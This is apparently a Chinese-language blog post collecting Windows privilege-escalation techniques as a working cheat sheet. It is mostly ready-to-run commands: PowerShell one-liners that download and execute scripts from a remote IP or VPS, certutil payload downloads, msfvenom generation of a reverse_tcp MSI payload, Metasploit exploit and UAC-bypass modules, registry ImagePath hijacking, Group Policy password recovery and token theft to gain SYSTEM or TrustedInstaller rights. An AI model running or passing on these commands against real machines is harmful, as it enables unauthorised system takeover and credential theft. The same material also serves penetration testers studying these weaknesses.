基础提权

发布于 2021-11-02  53 次阅读


内容 隐藏

Windows 下的提权大合集

1.系统内核溢出漏洞提权

A. WMIC查询

首先通过systeminfo获取系统信息,补丁信息

> wmic qfe get Caption ,Description,HotFixID,InstalledOn

Caption                                     Description      HotFixID   InstalledOn
[http://support.microsoft.com/?kbid=5005539](http://support.microsoft.com/?kbid=5005539)  Update           KB5005539  10/20/2021
[http://support.microsoft.com/?kbid=4534170](http://support.microsoft.com/?kbid=4534170)  Update           KB4534170  4/20/2020
[http://support.microsoft.com/?kbid=4537759](http://support.microsoft.com/?kbid=4537759)  Security Update  KB4537759  4/20/2020
[http://support.microsoft.com/?kbid=4545706](http://support.microsoft.com/?kbid=4545706)  Security Update  KB4545706  4/20/2020
[https://support.microsoft.com/help/4562830](https://support.microsoft.com/help/4562830)  Update           KB4562830  10/20/2021
[https://support.microsoft.com/help/4577266](https://support.microsoft.com/help/4577266)  Security Update  KB4577266  9/26/2021
[https://support.microsoft.com/help/5006670](https://support.microsoft.com/help/5006670)  Security Update  KB5006670  10/20/2021
Security Update  KB5005699  10/19/2021

通过没有列出的补丁号,寻找相应的提权EXP

qfe:快速修补工程更新版本。对应gdr: 普通发行版本

B. windows-exploit-suggester扫描脚本

https://github.com/AonCyberLabs/Windows-Exploit-Suggester【已放入tools】

  1. 首先更新漏洞数据库,会生成一个xls的文件:
python2 windows-exploit-suggester.py --update
  1. 将主机目标信息保存
systeminfo > sysinfo.txt
  1. 查询可利用漏洞
python2  windows-exploit-suggester.py -d 2021-XX-XX-mssb.xls -i sysinfo.txt

C. MSF模块之local_exploit_suggester\enum_patches

在获取了目标主机会话1后

use post/multi/recon/local_exploit_suggester 
set session 1
exploit

或者

use post/windows/gather/enum_patches
set session 1
exploit

D. powershell之sherlock.ps1

针对提权小神器Sherlock的分析与利用 - 云+社区 - 腾讯云 (tencent.com)

Sherlock.ps1脚本[已在tools里]

首先在目标主机上执行(从远程下载脚本并通过IEX执行

(vps上开python3 -m http.server 708)

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://159.75.72.126:708/Sherlock.ps1');"

本地执行Import-Module

(注意管理员运行cmd Set-ExecutionPolicy Unrestricted )

Import-Module 目录\Sherlock.ps1
Find-AllVulns

//验证漏洞
elevate MS-XXX

exp

https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/

2. 系统配置错误提权

Windows 服务是以System权限运行的,因此,其文件、文件夹和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。

管理员的错误配置,使低权限的用户对系统服务调用的可执行文件有写权限。

当服务未启动时,攻击者可以替换原来的服务

当服务启动时,常用dll劫持技术尝试重启服务

I. 服务配置错误

NT Authority\System

及时进程迁移

A. 内建icacls的手工查询

>icacls "C:\Program Files"

C:\Program Files NT SERVICE\TrustedInstaller:(F)
NT SERVICE\TrustedInstaller:(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(M)
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
BUILTIN\Administrators:(M)
BUILTIN\Administrators:(OI)(CI)(IO)(F)
BUILTIN\Users:(RX)
BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(OI)(CI)(IO)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(RX)
APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(OI)(CI)(IO)(GR,GE)
已成功处理 1 个文件; 处理 0 个文件时失败

//CI: 子文件夹继承父文件夹权限
//OI: 子文件继承父文件夹权限
//RX:  读取和执行权限
//GR:一般性读取
//GE: 一般性执行
//F:  777.完全控制

B. accesschk查看文件或目录的读写权限

查询指定目录的权限配置,尤其是服务

//-d:仅处理顶级
//-q:省略banner
//-v: 详细(包括Vista完整性级别)
//-u: 抑制错误
//-W: 仅显示具有书写访问权限
//-c: Name is a Windows Service
//-s: 递归
//-accepteual:自动接受许可权限

经过测试,还是不带-v的回显更加清楚

>accesschk.exe -dqv "D:\Nmap" -accepteula

Accesschk v6.14 - Reports effective permissions for securable objects
Copyright ?2006-2021 Mark Russinovich
Sysinternals - [www.sysinternals.com](http://www.sysinternals.com/)

D:\Nmap
  RW BUILTIN\Administrators
  RW NT AUTHORITY\SYSTEM
  RW NT AUTHORITY\Authenticated Users
  R  BUILTIN\Users

Accesschk可以自动的检查当我们使用一个特定的用户时,我们是否对Windows的某个服务有写的权限。当我们作为一个低权限用户,我们首先就想要看一下“Authenticated Users”组(即被认证用户组)对这些服务的权限。

access.exe -uwqs "Authenticated Users" [PATH]

检查所有的启动路径,Windows服务,计划任务和Windows启动项

C. powershell之PowerUp.ps1

AllChecks模块会检测目标主机存的Windows服务漏洞,然后通过直接替换可执行文件本身来实现权限的提升。

powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/PowerUp.ps1');Invoke-ALLChecks

一般配合手工查询A确认是否可行

  • AllChecks模块的通常应用对象如下:
    • 没有被引号引起来的服务的路径。
    • 服务的可执行文件的权限设置不当
    • Unattend.xml文件
    • 注册表键AlwaysInstallElevated

msf马利用(一个可添加管理员用户的恶意可执行文件替代)

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://vps/PowerUp.ps1');Install-ServiceBinary -ServiceName [服务名] -UserName [] -Password [] -Command "whoami"

command用于上线msf马,返回一个meterpreter

但是由于在服务重启前还是普通用户,需要服务重启或者系统重启

msf控制重启

meterpreter>shutdown -r

进程迁移

由于服务很有可能被进程管理器关闭,所以需要转移进程

msf>run post/windows/manage/migrate

#手动转移
meterpreter>ps
meterpreter>getpid #查看meterperter进程pid
meterpreter>migrate PID #将进程转移到一个稳定进程

D. MSF模块之service_permissions

完全自动化监测提权

use exploit/windows/local/service_permissions
set session 1
run

E. 注册表键AlwaysInstallElevated配置错误

windows的MSIEXEC进程负责安装Windows Installer安装包,并且MSIEXEC也可以实现无落地文件的方式进行木马上线的方式

  1. exploit/windows/local/always_install_elevated
use exploit/windows/local/always_install_elevated
set session 1
run

II. 计划目录配置错误

schtasks.exe多数情况下是以高权限运行的,存在可能配置漏洞

查找配置

PS >Get-ScheduledTask

删除包含/Microsoft/Windows/路径的所有任务

Get-ScheduledTask | Select * | ? {($*.TaskPath -notlike "\Microsoft\Windows\*") -And ($*.Principal.UserId -notlike "*$env:UserName*")} | Format-Table -Property State, Actions, Date, TaskPath, TaskName, @{Name="User";Expression={$_.Principal.userID}}

筛选条件

$task= Get-ScheduledTask -TaskName 计划任务名
ForEach ($triger in $task.Triggers) { echo $triger.Repetition.Interval

然后用icacls或者accesschk64.exe查看是否有写权限,有权限则替换执行

certutil -urlcache -split -f "http://vps/.exe" C:\ScheduledTasks\Task1\.exe

III. 自动安装配置文件

在对多台内网机器进行配置时,通常用脚本批量化部署,过程中会使用安装配置文件。这些文件中包含本地一些敏感信息。

  • 比如
    • C:\sysprep.inf
    • C:\syspreg\sysprep.xml
    • C:\Windows\system32\sysprep.inf
    • C:\windows\system32\sysprep\sysprep.xml
    • C:\unattend.xml
    • C:\Windows\Panther\Unattend.xml
    • C:\Windows\Panther\Unattended.xml
    • C:\Windows\Panther\Unattend\Unattended.xml
    • C:\Windows\Panther\Unattend\Unattend.xml
    • C:\Windows\System32\Sysprep\Unattend.xml
    • C:\Windows\System32\Sysprep\Panther\Unattend.xml

或者全文搜索Unattend文件

> dir /b /s c:\Unattend.xml

c:\Program Files (x86)\VMware\VMware Workstation\Resources\unattend.xml
c:\Recovery\OEM\PHASEB\WINDOWS\SYSTEM32\SYSPREP\unattend.xml
c:\Recovery\OEM\PHASED\WINDOWS\SYSTEM32\SYSPREP\unattend.xml
c:\Windows\Panther\unattend.xml

在其中搜索UserAccountsUserAccountsLocalAccountsAdministratorPassword 之类

msfpost/windows/gather/enum_unattend这个模块就是全盘搜索Unattend.xml文件并读取出管理员账户密码

IV. 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号包裹且包含空格。

对于每个空格都会尝试执行。

在c:\Program.exe和c:\Program Files\Service.exe中会优先执行前者。

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
或者
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
#注意也要用手工查询一下目录的写权限
**msf攻击模块**
use exploit/windows/local/trusted_service_path
set AutoRunScript migrate -f

注意要重启服务
sc stop service_name
sc start service_name

V. 不安全的注册表权限配置

  • 注册表 注册表 是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息
    • 应用程序注册表位置 KEY_LOCAL_MACHIN\ESoftware\Microsoft\Windows\CurrentVersion\SharedDLLs
  • Windows服务相关的信息储存在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services 基础提权
  • 注册表项中,服务对应的程序路径储存在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services[Vulnerable Service][服务名]\ImagePath 可以看到这个数据是一个路径,也就是相当于之前的服务错误配置导致路径可写

如果低权限用户对这个键值有写权限,那么就可以控制这个服务,运行我们的程序,拿到高权限。

检测工具subinacl.exe

没有找到对应payload

https://www.microsoft.com/en-us/download/search.aspx?q=subinacl

subinacl.exe /key reg "计算机\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\BaiduNetdiskUtility\Imagepath" /display

实际利用条件较难,需要通过subinacl一个一个手动查找写权限

利用工具

#如果我们对注册表有写入权限,就可以修改注册表,使得服务启动时运行我们的恶意程序
reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesVulnerable Service360rp" /t REG_EXPAND_SZ /v ImagePath /d "C:programdataadduser.exe" /f

VI. 错误启用注册表键AlwaysInstallElevated

如果启用AlwaysInstallElevated策略设置项,那么任何权限用户都能以

NT AUTHORITY\SYSTEM权限来安装恶意的MSI(Microsoft Windows Installer)文件。

检测

C:\Users\matoujin\tools\PowerSploit-master\Privesc>powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Get-RegistryAlwaysInstallElevated}"

False
#默认情况下是没有打开的
C:\Users\matoujin\tools\PowerSploit-master\Privesc>reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
错误: 系统找不到指定的注册表项或值。

C:\Users\matoujin\tools\PowerSploit-master\Privesc>reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
错误: 系统找不到指定的注册表项或值。

MSF利用

msf6 post(windows/manage/migrate) > use  exploit/windows/local/always_install_elevated
msf6 exploit(windows/local/always_install_elevated) > show options

Module options (exploit/windows/local/always_install_elevated):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.21.32.80      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

会返回一个system权限的meterpreter。会创建一个文件名随机的MSI文件,并在提权后删除所有已经部署的文件。

当然还可以用msfvenom生成msi格式的payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 –f msi -o shell.msi

将shell.msi上传到受害机,并在攻击机msf开启msf监听,然后再到受害机上执行

msiexec /quiet /qn /i shell.msi

执行后,新开启的监听中即可获得system权限的session。

PS利用

PS >Write-UserADDMSI

将在当前目录生成MSI文件(msi文件内包含要执行的Payload,Payload将会以System权限执行)并执行。

  • 参数 /quiet:安装过程中禁止向用户发送消息 /qn:不使用GUI /q:隐藏安装界面 /i:安装程序
msiexec /q /i UserAdd.ms

MSI Wrapper工具— —MSI生成工具

Windows组策略首选项提权

C:\Windows\SYSVOL\DOMAIN\Policies\

  • SYSVOL AD里一个用于储存公共文件服务器副本的共享文件夹。在所有的域控制器之间进行复制。主要用来存放登录脚本、组策略数据和其他与域控需要的域信息。SYSVOL目录在所有的域控制器中自动同步共享的 这里由于没有搭建域环境,所以没有该目录 C:\Users\matoujin>net share 共享名 资源 注解 ------------------------------------------------------------------------------- C$ C:\ 默认共享 D$ D:\ 默认共享 IPC$ 远程 IPC ADMIN$ C:\Windows 远程管理 命令成功完成。

在批量配置下,就会出现所有机器的本地管理员密码相同。

而管理员在新建一个组策略后,会在SYSVOL自动生成一个XML存放组策略更新后的密码(AES-256),而AES-256的私钥已经被公布

[MS-GPPREF]: Password Encryption | Microsoft Docs

在SYSVOL中搜索包含cpassword获取组策略的凭据

利用

PS之Get-GPPPassword

  • GPP: GPP最有用的特性,是在某些场景存储和使用凭据,其中包括:映射驱动(Drives.xml)创建本地用户数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml)更改本地Administrator密码
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://VPS/Get-GPPPassword.ps1');Get-GPPPassword

kali中的gpp-decrypt也能破解密码

MSF之post/windows/gather/credentials/gpp

use post/windows/gather/credentials/gpp
set session xxx
exploit

Windows令牌窃取

A. MSF模块incognito

已经获取了目标主机一个administrator权限的meterpreter,需要提前至system,我们可以用metasploit的incognito模块窃取令牌。

加载incognito模块

meterpreter >use incognito

输入list_tokens -u命令即可列出可用的访问令牌,令牌取决于当前权限

  • 两种类型 Delegation Token:授权令牌,它支持交互式会话登录(例如本地用户直接登录、远程桌面登录访问)。注销后降级为Impresonation Impresonation Token:模拟令牌,它是非交互的会话(例如使用net use访问共享文件夹)。

如果可以伪造NT AUTHORITY\SYSTEM

metersploit >impersonate_token "NT AUTHORITY\SYSTEM"

或者

通过ps找到User为SYSTEM的进程PID,执行

metersploit >steal_token [PID]

//getsystem # 提升至system权限
//rev2self # 返回到之前的AccessToken权限

B. incognito.exe

(已在tools中)

incognito.exe list_tokens -u
>incognito.exe list_tokens -u
[-] WARNING: Not running as SYSTEM. Not all tokens will be available.
[*] Enumerating tokens
[*] Listing unique users found

Delegation Tokens Available
============================================
LAPTOP-JG08L9HR\matoujin

Impersonation Tokens Available
============================================
[-] No tokens available

Administrative Privileges Available
============================================
[-] No administrative privileges available

incognito.exe execute -c "完整的Token名称" <要执行的命令>

在meterpreter下,将incognito上传后,可以将执行的命令输入msf马,就可以获得一个system权限的meterpreter

C. Rotten Potato

先上传rottenpotato.exe

meterpreter >execute -HC -f ./rottenpotato.exe &nbsp; &nbsp; &nbsp;# 执行rottenpotato.exe程序
meterpreter >impersonate_token "NT AUTHORITY\\SYSTEM"

D. PS之TokenManipulation.ps1

github.com

Invoke-TokenManipulation.ps1脚本是PowerSploit中Exfiltration文件夹内的一个脚本。

PS >IEX(New-Object Net.WebClient).DownloadString('http://vps/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate
PS >Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\SYSTEM"
#随后就会弹出一个新的system权限shell

或者从高权限的进程获取凭证

Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 2504

E. 利用令牌获得TrustedInstaller权限

windows的最高权限是TrustedInstaller权限

启动TrustedInstaller服务时会启动进程TrustedInstaller.exe

C:\Windows\servicing\TrustedInstaller.exe

PS >Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe
PS >Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner

那么就可以用incognito获取此进程TrustedInstaller权限

metesploit incognito

先启动服务

sc.exe start TrustedInstall

然后执行

meterpreter >use incognito
meterpreter >ps #找到TrustInstall进程
meterpreter >steal_token [pid]

PowerShell Invoke-TokenManipulation.ps1

PS >sc.exe start TrustedInstaller    # 启动TrustedInstaller服务

PS >$id  = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}

PS >IEX(New-Object Net.WebClient).DownloadString('http://vps/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id

如果

whoami /groups | findstr TrustedInstaller

没有回显,则是TrustInstaller权限

绕过UAC提权

BypassUAC技术总结 | ConsT27's Blog

MSF 绕过UAC

再在这个关闭了UAC的第二个shell中执行getsystem即可完成提权。

A. 钓鱼大法

exploit/windows/local/ask

# 弹出UAC确认窗口,然后诱使用户点击后获得system权限

B. 进程注入(关闭UAC)

exploit/windows/local/bypassuac 

# 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。

exploit/windows/local/bypassuac_injection

# 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

区别在于后者需要选择系统架构,target值(1→64,2→32)

C. 劫持注册表(win10)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10的UAC

exploit/windows/local/bypassuac_fodhelper

D. 劫持注册表

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。

exploit/windows/local/bypassuac_eventvwr

E. 权限升级

此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload

exploit/windows/local/bypassuac_comhijack

Powershell绕过UAC提权

利用Nishang中Escalation目录下的Invoke-PsUACme.ps1脚本。

powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://VPS/Invoke-PsUACme.ps1');Invoke-PsUACme -Verbose 
&nbsp;# 使用sysprep方法并执行默认的payload

可替换命令a:

Invoke-PsUACme -method oobe -verbose 
&nbsp;# 使用oobe方法并执行默认的payload

可替换命令b:使用-Payload参数自行指定要执行的Payload

Invoke-PsUACme -method oobe -verbose -Payload "powershell -windowstyle hidden -e YourBase64EncodedPayload"

还可以使用PayloadPath参数自行指定要执行的Payload的路径:

Invoke-PsUACme -method oobe -verbose -PayloadPath <路径>

间桐桜のお菓子屋さん